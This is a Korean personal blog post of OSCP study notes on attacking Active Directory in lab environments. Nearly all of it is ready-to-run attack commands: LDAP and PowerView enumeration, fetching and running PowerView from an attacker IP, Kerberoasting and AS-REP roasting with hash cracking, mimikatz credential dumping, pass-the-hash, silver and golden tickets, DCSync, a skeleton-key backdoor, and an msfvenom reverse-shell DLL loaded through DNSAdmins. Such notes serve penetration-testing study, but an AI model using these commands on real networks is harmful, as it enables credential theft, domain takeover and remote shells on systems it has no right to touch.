Certification/OSCP

about AD(Active Directory)

Vardy 2022. 3. 11. 08:17

OSCP 과정 중 Active Directory 대상 공격 방법에 대해 기록한 내용이다. 공개용보다는 기록해둔 내용을 스스로 다시 확인하며 공부하려는 목적으로 작성했어서 가독성이 좋지 않을 수 있다.

 

0. 개요

Domain Controller - AD의 특정 인스턴스가 구성되는 방식에 대한 모든 정보 저장. Windows 2000~2019서버

Domain - AD의 인스턴스가 구성되면 생성됨. ex) corp.com

Computer Object - 도메인에 가입된 실제 서버 및 워크스테이션(도메인의 일부)

User Object - 사용자 개체(조직의 직원)

 

1. AD 열거

목표 -Fr

* Domain Admins 그룹 구성원 손상시켜 도메인의 모든 컴퓨터 제어

* 도메인 컨트롤러 제어(DC는 모든 사용자계정의 해시암호 포함)

 

1-1. Traditional Approach

> net user

> net user /domain

> net user jeff_admin /domain

> net group /domain

 

1-2. A Morden Approach

> powershell # or powershell -ep bypass​

PS> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

 

LDAP

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$SearchString

 

All Users

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

$Searcher.filter="samAccountType=805306368"
$Searcher.FindAll()

* + additional information

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

$Searcher.filter="samAccountType=805306368"
# Domain Admins : $Searcher.filter="memberof=CN=Domain Admins,CN=Users,DC=corp,DC=com"
# Computers:  $Searcher.filter="objectcategory=CN=Computer,CN=Schema,CN=Configuration,DC=corp,DC=com"
# Find Win10:  $Searcher.filter="operatingsystem=*windows 10*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    
    Write-Host "------------------------"
}

 

1-3. Resolving Nested Groups

Domain Groups

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.name
}

Group Member

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

$Searcher.filter="(name=Secret_Group)" # Groupname ex) Secret_Group
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.member
}

 * Domain Groups + Members

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"

$Result = $Searcher.FindAll()
$Groups = New-Object Collections.Generic.List[String]
Foreach($obj in $Result)
{
 $Groups.add($obj.Properties.name)
}
Foreach($name in $Groups){
 $Searcher.filter="(name="+$name+")"
 $Result = $Searcher.FindAll()
 $name
 Foreach($obj in $Result)
 {
  $obj.Properties.member
 }
 Write-Host "-------------------------"
 
}

 

1-4. Currently Logged on Users

Current User

 - 로컬관리자 권한 필요

powershell -ep bypass
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName client251
Get-NetSession -ComputerName dc01
Get-NetComputer -fulldata | select operatingsystem # 현재 pc 외 네트워크 내부에서 실행되는 운영체제 확인
Get-NetUser | select cn # 도메인 사용자 열거
Get-NetGroup -GroupName *

powershell -exec Bypass -C "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.119.139/PowerView.ps1');Get-NetLoggedOn -ComputerName client251"
## import powerview from kali.

Invoke-ShareFinder # 기본적으로 설정되지 않은 공유폴더 확인

 

1-5. SPN 열거

SPN

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

$Searcher.filter="serviceprincipalname=*http*"
# $Searcher.filter="serviceprincipalname=*corp.com*" 
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
        # nslookup $prop.dnshostname
    }
}

* all SPN

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"

$results = $search.Findall()

foreach( $result in $results ) {
	$userEntry = $result.GetDirectoryEntry()
	Write-host "Object Name	=	"	$userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
	Write-host "DN	=	"	$userEntry.distinguishedName
	Write-host "Object Cat.	=	" $userEntry.objectCategory
	Write-host "servicePrincipalNames"

	$i=1
	foreach( $SPN in $userEntry.servicePrincipalName ) {
		Write-host "SPN ${i} =$SPN"
		$i+=1
	}
	Write-host ""
}

https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx

 

https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/Get-SPN.ps1

 

GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.

Empire is a PowerShell and Python post-exploitation agent. - GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.

github.com

 

* bloodhound

apt-get install bloodhound
neo4j console
Import-Module .\SharpHound.ps1
Invoke-Bloodhound -c All -d CONTROLLER.local --zipfilename loot.zip
./SharpHound.exe -C All -d htb.local --zipfilename loot.zip
./SharpHound.exe -c All -d htb.local --ldapusername svc-alfresco --ldappassword s3rvice
zip파일 옮기고 bloodhood에 import

 

2. AD 인증

NTML

Kerberos

# Enumeration with kerbrute
./kerbrute userenum --dc CONTROLLER.local[Target] -d CONTROLLER.local[domain] User.txt[file]
--> 사용자 목록 뽑고, 패스워드 없이 접근 가능한거 있나 확인
python /usr/local/bin/GetNPUsers.py spookysec.local/ -usersfile userlist_valid.txt -dc-ip 10.10.28.230 -no-pass

// ID, PW 알면 evil-winrm -i 10.129.114.244 -u arksvc -p w3lc0meFr31nd

# Harvesting Tickets with Rubeus
> Rubeus.exe harvest /interval:30 # This command tells Rubeus to harvest for TGTs every 30 seconds

# brute
>echo 10.10.203.122 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
> Rubeus.exe brute /password:Password1 /noticket # This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user

2-1. 캐시된 자격증명 저장 및 검색

해시는 LSASS(Local Security Authority Subsystem Service) 1 메모리 공간에 저장

mimikatz - 로컬 관리자권한 필요

> mimikatz.exe
# privilege::debug
# sekurlsa::logonpasswords // check NTLM, SHA1 ..
* john --format=NT NTLM.txt --wordlist=/usr/share/wordlists/rockyou.txt
# sekurlsa::tickets // check TGS, TGT

bypass UAC
https://ivanitlearning.wordpress.com/2019/07/07/bypassing-default-uac-settings-manually/
https://github.com/turbo/zero2hero
# Dumping KRBASREP5 Hashes w/ Rubeus
c:> Rubeus.exe asreproast
copy to hash.txt
Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User.....
kali~$ hashcat -m 18200 hash.txt Pass.txt --force
참고
https://hashcat.net/wiki/doku.php?id=example_hashes

2-2. 서비스계정 공격

SPN 확인 (ex. HTTP/CorpWebServer.corp.com)

KerberosRequestorSecurityToken 생성자를 호출

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'
klist // server: 에 SPN 추가된거 확인
mimikatz # kerberos::list /export // 다운로드

kali~$ sudo apt update && sudo apt install kerberoast
move to kali .kirbi file
kali~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
kali~$ python /usr/share/john/kirbi2john.py ~~.kirbi > ~~.txt
kali~$ john --format=krb5tgs ~~.txt --wordlist=wordlist.txt

Kerberos 프로토콜에 따르면 서비스 티켓은 SPN의 암호 해시를 사용하여 암호화됩니다. 티켓을 요청하고 무차별 대입 또는 추측을 사용하여 암호를 해독할 수 있다면( Kerberoasting 이라고 하는 기술에서 ) 암호 해시를 알게 되며 이를 통해 서비스 계정의 일반 텍스트 암호를 해독할 수 있습니다. 추가 보너스 로 이 공격에는 관리자 권한이 필요 하지 않습니다 .

kali~$ sudo apt update && sudo apt install kerberoast
kali~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi

kali~$ /usr/share/john/kirbi2john.py otherSpn.kirbi > otherSpn.txt
kali~$ john --format=krb5tgs otherSpn.txt --wordlist=wordlist.txt

C:> Rubeus.exe kerberoast
--> hash copy to kali(hash.txt)
kali~$ hashcat -m 13100 --force hash.txt Pass.txt # hashcat -m 13100 -a 0 hash.txt Pass.txt

kali~$ sudo python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.203.122 -request
# kerberoast remortly

2-3. 암호추측

PS> net accounts

PS> .\Spray-Passwords.ps1 -Pass Qwerty09! -Admin

 

3. AD 측면이동

reg save HKLM\sam sam
reg save HKLM\system system

3-1. 해시 전달

PtH ( Pass the Hash ) 기술을 사용하면 공격자가 연결된 일반 텍스트 암호 대신 사용자의 NTLM 해시를 사용하여 원격 시스템이나 서비스에 인증할 수 있습니다. Kerberos 인증에는 작동하지 않고 NTLM 인증을 사용하는 서버 또는 서비스에만 적용됩니다.

공격자가 SMB(Server Message Block) 프로토콜을 사용하여 피해자에 연결하고 NTLM 해시를 사용하여 인증을 수행한다

kali~$ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
// Administrator%LM해시:NTLM해시

kali~$ impacket-psexec tris@10.11.1.24 -hashes :08df3c73ded940e1f2bcf5eea4b8dbf6
# after mimikatz.exe -> privilege::debug -> sekurlsa::logonpasswords, check username and ntlm
sekurlsa::tickets /export
kerberos::ptt <ticket>

이 방법은 Active Directory 도메인 계정 및 기본 제공 로컬 관리자 계정에 대해 작동합니다. 2014년 보안 업데이트 이후 7 이 기술은 다른 로컬 관리자 계정으로 인증하는 데 사용할 수 없습니다.

 

3-2. 해시 오버패스

오버패스 해시 기술(캡처된 NTLM 해시와 함께)을 사용하여 Kerberos TGT를 획득하여 Kerberos를 사용하여 인증

(로컬 관리자 권한 필요)

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords // 타도메인 사용자여부, 그의 NTML 확인

오버패스 해시 기술의 핵심은 NTLM 해시를 Kerberos 티켓으로 변환하고 NTLM 인증 사용을 피하는 것입니다.

mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:PowerShell.exe
# run powershell

PS > klist # not work
PS > net use \\dc01
PS > klist # work
PS > .\PsExec.exe \\dc01 cmd.exe # got jeff_admin's shell # klist 없어도 같은 자격증명 사용하면 가능

 

3-3. 티켓 전달

패스 티켓 공격 은 네트워크의 다른 곳에서 내보내고 다시 주입한 다음 특정 서비스에 인증하는 데 사용할 수 있는 TGS를 이용합니다.  (로컬 관리자 권한 필요)

Mimikatz는 실버 티켓을 만들어 (다소 오해의 소지가 있는) kerberos::golden 명령을 통해 메모리에 바로 주입할 수 있습니다. 

티켓을 생성하려면 먼저 도메인의 소위 보안 식별자 또는 SID를 얻어야 합니다. SID는 Active Directory의 모든 개체에 대한 고유한 이름이며 다음과 같은 구조를 갖습니다.

whoami /user

S-R-I-S
ex) S-1-5-21-2536614405-3629634762-1218571035-1116

S-1-5 --> AD 내 정적

21-2536614405-3629634762-1218571035 --> 동적이며 도메인의 숫자식별자

1116 --> 도메인의 특정 개체

# HTTP 서비스(iis_service 계정)에 대한 실버티켓 생성
mimikatz # kerberos::purge # 기존 티켓 플러시
mimikatz # kerberos::list # 제거 확인

mimikatz # kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /target:CorpWebServer.corp.com /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt

mimikatz # kerberos::list # 실버 티켓 생성 확인

 

3-4. DCOM

DCOM과의 상호 작용은 TCP 포트 135에서 RPC를 통해 수행되며 본질적으로 API인 DCOM 서비스 제어 관리자를 호출하려면 로컬 관리자 액세스가 필요합니다.

MS office 필요..

 

4. AD 지속성

4-1. 골든 티켓

Kerberos 인증에 대한 설명으로 돌아가서 사용자가 TGT에 대한 요청을 제출하면 KDC가 도메인의 KDC만 알고 있는 비밀 키로 TGT를 암호화한다는 것을 기억합니다. 이 비밀 키는 실제로 krbtgt 라는 도메인 사용자 계정의 암호 해시입니다 .

krbtgt 암호 해시를 얻을 수 있다면 자체 제작한 맞춤형 TGT 또는 골든 티켓 을 만들 수 있습니다 .

실제로 이 비밀번호는 도메인 기능 수준이 Windows 2003에서 Windows 2008로 업그레이드된 경우에만 변경됩니다. 이 때문에 매우 오래된 krbtgt 비밀번호 해시를 찾는 것이 일반적입니다.

## DC
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch # get krbtgt's NTLM
## windows
mimikatz # kerberos::purge
mimikatz # kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /krbtgt:fc274a94b36874d2560a7bd332604fab /ptt
mimikatz # misc::cmd

> psexec.exe \\dc01 cmd.exe
lsadump::lsa /inject /name:krbtgt # name at SQLService, Administrator ..
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500
misc::cmd

https://wizard32.net/blog/knock-and-pass-kerberos-exploitation.html

 

Knock and Pass: Kerberos Exploitation

The purpose of this post is not to teach you or to re/present how to exploit a DC in order to retrieve the Kerberos ticket without assigning your host machine into the Domain Controller

wizard32.net

https://github.com/mubix/pykek

 

GitHub - mubix/pykek: Kerberos Exploitation Kit

Kerberos Exploitation Kit. Contribute to mubix/pykek development by creating an account on GitHub.

github.com

goldenPac.py 'htb.local/james:J@m3s_P@ssW0rd!@mantis'

 

 

4-2. 도메인 컨트롤러 동기화

도메인 계정으로 클라이언트 접속 후 관리자계정 NTLM 탈취

mimikatz # lsadump::dcsync /user:Administrator

DCsync Attack - "EXCHANGE WINDOWS PERMISSIONS"

net user vardyvardy vardyvardy /add /domain
net group "Exchange Windows Permissions" /add miku
certutil.exe -urlcache -split -f "http://10.10.14.12/PowerView.psm1" c:\temp\PowerView.psm1
Import-Module .\PowerView.psm1
$pass = convertto-securestring 'vardyvardy' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('HTB\vardyvardy', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity vardyvardy -Rights DCSync
secretsdump.py htb.local/miku:miku@123@10.129.114.118

 

* kerberos backdoor /w mimikatz

c:> mimikatz.exe
# privilege::debug
# misc::skeletion

net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
dir \\Desktop-1\c$ /user:Machine1 mimikatz

 

* secretdump

secretsdump.py backup:backup2517860@spookysec.local -dc-ip 10.10.28.230

 

* AD Recycle Bin Group

net user arksvc
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

 

* DNSAdmins Group

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll
msfvenom -p windows/x64/exec cmd='net group "domain admins" melanie /add /domain' --platform windows -f dll > dns.dll

dnscmd testmachine.test.local /config /serverlevelplugindll \\192.168.43.100\share\privesc.dll

PS C:\> Get-ItemProperty 
HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

sc.exe <DC의 FQDN> stop dns 
sc.exe <DC의 FQDN> start dns

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

 

 

반응형